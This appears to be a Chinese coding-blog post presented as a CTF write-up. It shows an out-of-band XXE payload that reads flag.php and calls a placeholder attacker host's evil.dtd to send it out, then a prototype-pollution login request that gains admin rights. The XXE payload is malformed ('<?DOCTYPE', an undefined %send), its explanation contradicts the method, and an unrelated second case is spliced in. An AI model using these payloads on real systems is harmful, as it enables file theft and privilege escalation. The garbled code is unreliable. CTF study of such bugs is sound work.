跳转到主内容
思享编程网:思考分享,玩转编程世界!

如何利用XXE漏洞读取任意文件?

大家好,我是陆砚码,今天我们来聊一聊XXE漏洞的利用方法。XXE(XML External Entity)漏洞是一种常见的XML解析漏洞,它允许攻击者读取服务器上的任意文件。

首先,我们来回顾一下XXE漏洞的基本原理。当XML解析器遇到XML声明中的实体引用时,它会尝试去解析这个实体。如果实体引用指向的是文件系统中的文件,那么攻击者就可以读取这个文件的内容。

实战案例:Tell Me

在Tell Me这个题目中,我们遇到了一个XXE漏洞。题目描述说,没有回显,但我们可以利用OOB或者报错来显示flag。我们可以通过构造一个特殊的XML请求来读取flag.php文件。

以下是构造的XML请求:

<?DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
    <!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/evil.dtd">
    %dtd;
    %send;
]>
<user><name>11</name><email>11</email><content>11</content></user>

在这个请求中,我们定义了两个实体:%file 和 %dtd。%file 指向 flag.php 文件,%dtd 指向一个恶意的DTD文件。通过 %dtd,我们可以控制XML解析器的行为,使其显示flag.php文件的内容。

实战案例:Shared Diary

在Shared Diary这个题目中,我们遇到了一个JavaScript原型链污染漏洞。题目描述说,ek1ng给协会成员写了一个在线共享日记本,但他的js代码中存在漏洞。我们可以通过构造特殊的登录请求来获取管理员权限。

以下是构造的登录请求:

POST /login HTTP/1.1
Host: week-4.hgame.lwsec.cn:30850
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 66
Origin: http://week-4.hgame.lwsec.cn:30374
Connection: close
Referer: http://week-4.hgame.lwsec.cn:30374/login
Cookie: _ga_P1E9Z5LRRK=GS1.1.1673837637.2.1.1673838323.0.0.0; _ga=GA1.1.1102886254.1673834908; session=s%3AeHYSlXsJuCwHSE2op1dGfk6wOaYz6gqa.tCkgur7A1nJb5FdP5UpaRHgKXnR6usYvJB1nizkAdv0
Upgrade-Insecure-Requests: 1

{
    "constructor": {
        "prototype": {
            "role": "admin"
        }
    },
    "username":"admin",
    "password":"22"
}

通过这个请求,我们可以成功登录并获取管理员权限。

好了,今天的分享就到这里。如果你对XXE漏洞的利用还有其他疑问,欢迎在评论区留言。我是陆砚码,我们下期再见!

——

本文由思享编程网(www.sxgpb.com)资深编辑陆砚码原创,欢迎关注我们的网站,了解更多技术知识。

相关文章